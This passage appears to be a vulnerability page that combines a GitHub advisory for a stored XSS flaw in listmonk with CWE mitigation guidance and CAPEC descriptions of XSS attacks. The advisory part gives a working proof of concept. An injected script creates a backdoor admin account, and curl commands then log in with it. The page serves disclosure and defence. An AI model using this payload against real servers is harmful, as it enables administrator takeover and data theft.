credentials: \u0027include\u0027,\n  body: JSON.stringify({\n    username: \u0027backdoor\u0027,\n    email: \u0027backdoor@evil.com\u0027, \n    name: \u0027Backdoor Admin\u0027,\n    password: \u0027Hacked123\u0027,\n    type: \u0027user\u0027,\n    status: \u0027enabled\u0027,\n    userRoleId: 1,\n    user_role_id: 1\n  })\n});\n\u003c/script\u003e\n```\n\n### Step 2: Enable Archive (Optional - for link-based attack)\n\n1. Edit campaign settings\n2. Enable \"Archive\"\n3. Copy archive URL: `http://localhost:9000/archive/{campaign-uuid}`\n\n### Step 3: Trigger Execution\n\n**Option A - Preview:**\n- Send campaign to super admin for \"review\"\n- Super admin previews \u2192 XSS fires\n\n**Option B - Archive Link:**\n- Share archive URL with super admin\n- Super admin visits link \u2192 XSS fires automatically\n\n### Step 4: Verify Takeover\n\n```bash\n# Login as backdoor admin\ncurl -X POST \"http://localhost:9000/admin/login\" \\\n  -d \"username=backdoor\u0026password=Hacked123\" \\\n  -c cookies.txt -L\n\n# Verify super admin access\ncurl -b cookies.txt \"http://localhost:9000/api/users\"\n```\n\n---\n\n## Evidence Screenshots\n\n\u003e **[Screenshot 1: Lower-privileged user creating malicious campaign]**\n\u003cimg width=\"1892\" height=\"781\" alt=\"Screenshot 2025-12-27 170259\" src=\"https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b\" /\u003e\n\n\u003e **[Screenshot 2: Super admin previewing campaign]**\n\u003cimg width=\"1686\" height=\"709\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7\" /\u003e\n\n\u003e **[Screenshot 3: Backdoor user successfully created]**\n\u003cimg width=\"1370\" height=\"469\" alt=\"Screenshot 2025-12-27 170413\" src=\"https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2\" /\u003e\n\n---\n\n## Impact\n\n| Action | Possible via XSS |\n|--------|-----------------|\n| Create backdoor admin | \u2705 Yes |\n| Export all subscribers | \u2705 Yes |\n| Modify SMTP settings | \u2705 Yes |\n| Delete all campaigns | \u2705 Yes |\n| Access API keys/secrets | \u2705 Yes |\n\n---\n\n## Affected Components\n\n| Component | XSS Works? | Method |\n|-----------|-----------|--------|\n| Campaign body (Raw HTML) | \u2705 Yes | Direct `\u003cscript\u003e` tag |\n| Campaign body (Template) | \u2705 Yes | `{{ \\` \\` \\| Safe }}` |\n| Template body | \u2705 Yes | Both methods |\n| Campaign archive | \u2705 Yes | Automatic execution on visit |\n\n---",
  "id": "GHSA-jmr4-p576-v565",
  "modified": "2026-01-02T23:04:15Z",
  "published": "2026-01-02T23:04:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-jmr4-p576-v565"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/commit/74dc5a01cfbb12cf218cb33ddad8410c53e2e915"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/knadh/listmonk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/releases/tag/v6.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover"
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.